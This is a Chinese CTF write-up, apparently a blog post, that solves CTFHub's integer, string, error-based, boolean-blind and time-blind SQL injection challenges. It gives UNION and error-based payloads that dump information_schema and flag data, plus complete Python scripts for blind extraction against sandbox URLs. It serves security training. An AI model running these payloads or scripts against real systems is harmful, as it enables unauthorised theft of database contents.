CTFHub SQL技能树-整数形注入-字符型注入-报错注入-布尔盲注-时间盲注

  • 整数型注入
  • 字符型注入
  • 报错注入
  • 布尔盲注
  • 时间盲注


整数型注入

sqlite用法 长整型_技能树


首先输入1查看回显:

sqlite用法 长整型_CTFHub_02


可以看到返回了SQL语句及IDData数据,查看列数:

1 order by 2 #

sqlite用法 长整型_sqlite用法 长整型_03


当列数为2时回显正常,接着判断回显位:

1111 union select 11,22 #

sqlite用法 长整型_sqlite用法 长整型_04


可以判断出回显点位如上,查看当前数据库版本及数据库名:

1111 union select version(),database() #

sqlite用法 长整型_SQL注入_05


查询到当前数据库名为:sqli,继续查询该数据库中的表名:

11111 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

sqlite用法 长整型_python脚本_06


通过group_concat()函数将所有的表查询出来,得到newsflag两个表,继续查询flag表中的列:

11111 union select 1,group_concat(column_name) from information_schema.columns where table_name='flag' #

sqlite用法 长整型_python脚本_07


查询到flag表中只有flag一列,查看flag列中的内容:

11111 union select 1,flag from sqli.flag #

sqlite用法 长整型_python脚本_08


得到flag,完成了整形注入

字符型注入

sqlite用法 长整型_SQL注入_09


首先尝试输入1查看回显:

sqlite用法 长整型_python脚本_10


可以看到返回了SQL语句及IDData数据,因已得知为字符型注入,其注入过程及语句与整形注入一致:

11111' union select 1,flag from sqli.flag #

sqlite用法 长整型_SQL注入_11


只是SQL语句闭合方式为id='1'具体参考整形注入

报错注入

sqlite用法 长整型_python脚本_12


先输入1查看回显:

sqlite用法 长整型_sqlite用法 长整型_13


当输入1'判断注入时,得到报错信息:

sqlite用法 长整型_sqlite用法 长整型_14


输入1 #验证:

sqlite用法 长整型_技能树_15


可以判断出为整形的报错注入,查询数据库名:

1 Union select count(*),concat(database(),0x26,floor(rand(0)*2))x from information_schema.columns group by x;

sqlite用法 长整型_技能树_16


通过修改limit 0,1逐个查询表名:

sqlite用法 长整型_技能树_17


sqlite用法 长整型_python脚本_18


查询出newsflag两个表,继续查询flag表中的列:

1 Union select count(*),concat((select column_name from information_schema.columns where table_schema='sqli' and table_name='flag' limit 0,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x

sqlite用法 长整型_python脚本_19


得到列名为flag,查看列中的数据:

1 Union select count(*),concat((select flag from flag limit 0,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x

sqlite用法 长整型_CTFHub_20


得到flag,完成报错注入

布尔盲注

先输入1查看回显内容:

sqlite用法 长整型_技能树_21


提示查询成功,但不会回显内容,只有查询语句语法错误是才显示error,尝试查询当前字段长度:

1 order by 2 #

sqlite用法 长整型_CTFHub_22


得出当前字段数为2,因为盲注需要猜解大量内容,使用脚本查询当前数据库名:

import requests
import string

url = 'http://challenge-65d978df6c107703.sandbox.ctfhub.com:10080/?id='
mark = 'query_success'


def database_name():
    name = ''
    for i in range(1, 9):
        for j in string.ascii_letters:
            url_db = url + 'if(substr(database(),%d,1)="%s",1,(select table_name from information_schema.tables))' % (i, j)
            r = requests.get(url_db)
            if mark in r.text:
                name += j
                break
    print('database_name:', name)


database_name()

sqlite用法 长整型_技能树_23


得到当前数据库名为:sqli,继续查询表名:

import requests
import string

url = 'http://challenge-65d978df6c107703.sandbox.ctfhub.com:10080/?id='
mark = 'query_success'


def table_name():
    list = []
    for i in range(0, 4):
        name = ''
        for j in range(1, 9):
            for k in string.ascii_letters:
                url_t = url + 'if(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1)="%s",1,(select table_name from information_schema.tables))' % (i, j, k)
                r = requests.get(url_t)
                if mark in r.text:
                    name += k
                    break
        list.append(name)
    print('table_name:', list)


table_name()

sqlite用法 长整型_CTFHub_24


得到两个表名:newsflag,继续查询flag表中的列:

import requests
import string

url = 'http://challenge-65d978df6c107703.sandbox.ctfhub.com:10080/?id='
mark = 'query_success'


def columns_name():
    list = []
    for i in range(0, 3):
    	name = ''
        for j in range(1, 9):
            for k in string.ascii_letters:
                url_c = url + 'if(substr((select column_name from information_schema.columns where table_name="flag" and table_schema=database() limit %d,1),%d,1)="%s",1,(select table_name from information_schema.tables))' % (i, j, k)
                r = requests.get(url_c)
                if mark in r.text:
                    name += k
                    break
        list.append(name)
    print('column_name:', list)


columns_name()

sqlite用法 长整型_sqlite用法 长整型_25


得到列名也为flag,查询其中内容:

import requests
import string

url = 'http://challenge-65d978df6c107703.sandbox.ctfhub.com:10080/?id='
mark = 'query_success'


def data():
    name = ''
    for i in range(1, 50):
        for j in range(48, 126):
            url_d = url + 'if(ascii(substr((select flag from flag),%d,1))=%d,1,(select table_name from information_schema.tables))' % (i, j)
            r = requests.get(url_d)
            if mark in r.text:
                name += chr(j)
                break
    print('data:', name)


data()

得到flag

sqlite用法 长整型_SQL注入_26


完成布尔注入

时间盲注

sqlite用法 长整型_python脚本_27


什么内容都不返回,尝试使用脚本进行时间盲注,首先获取数据库名:

import requests
import string
import time

url = 'http://challenge-c2b00c039a834223.sandbox.ctfhub.com:10080/?id='


def database_name():
    name = ''
    for i in range(1, 9):
        for j in string.ascii_letters:
            url_db = url + 'if(substr(database(),%d,1)="%s",sleep(3),1)' % (i, j)
            time_b = time.time()
            r = requests.get(url_db)
            time_f = time.time()
            if time_f-time_b > 2:
                name += j
                break
    print('database_name:', name)


database_name()

sqlite用法 长整型_技能树_28


得到数据库名为sqli,继续查询表名:

import requests
import string
import time

url = 'http://challenge-c2b00c039a834223.sandbox.ctfhub.com:10080/?id='


def table_name():
    list = []
    for i in range(0, 2):
        name = ''
        for j in range(1, 9):
            for k in string.ascii_letters:
                url_t = url + 'if(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1)="%s",sleep(3),1)' % (i, j, k)
                time_b = time.time()
                r = requests.get(url_t)
                time_f = time.time()
                if time_f - time_b > 2:
                    name += k
                    break
        list.append(name)
    print('table_name:', list)


table_name()

sqlite用法 长整型_技能树_29

得到两个表名:newsflag,继续查询flag表中的列:

import requests
import string
import time

url = 'http://challenge-c2b00c039a834223.sandbox.ctfhub.com:10080/?id='


def columns_name():
    list = []
    for i in range(0, 1):
        name = ''
        for j in range(1, 9):
            for k in string.ascii_letters:
                url_c = url + 'if(substr((select column_name from information_schema.columns where table_name="flag" limit %d,1),%d,1)="%s",sleep(3),1)' % (i, j, k)
                time_b = time.time()
                r = requests.get(url_c)
                time_f = time.time()
                if time_f - time_b > 2:
                    name += k
                    break
        list.append(name)
    print('column_name:', list)


columns_name()

sqlite用法 长整型_技能树_30


得到列名也为flag,查询其中内容:

import requests
import string
import time

url = 'http://challenge-c2b00c039a834223.sandbox.ctfhub.com:10080/?id='


def data():
    name = ''
    for i in range(1, 50):
        for j in range(48, 126):
            url_d = url + 'if(ascii(substr((select flag from flag),%d,1))=%d,sleep(3),1)' % (i, j)
            r = requests.get(url_d)
            time_b = time.time()
            r = requests.get(url_d)
            time_f = time.time()
            if time_f-time_b > 2:
                name += chr(j)
                print(name)
                break
    print('data:', name)


data()

得到flag

完成时间盲注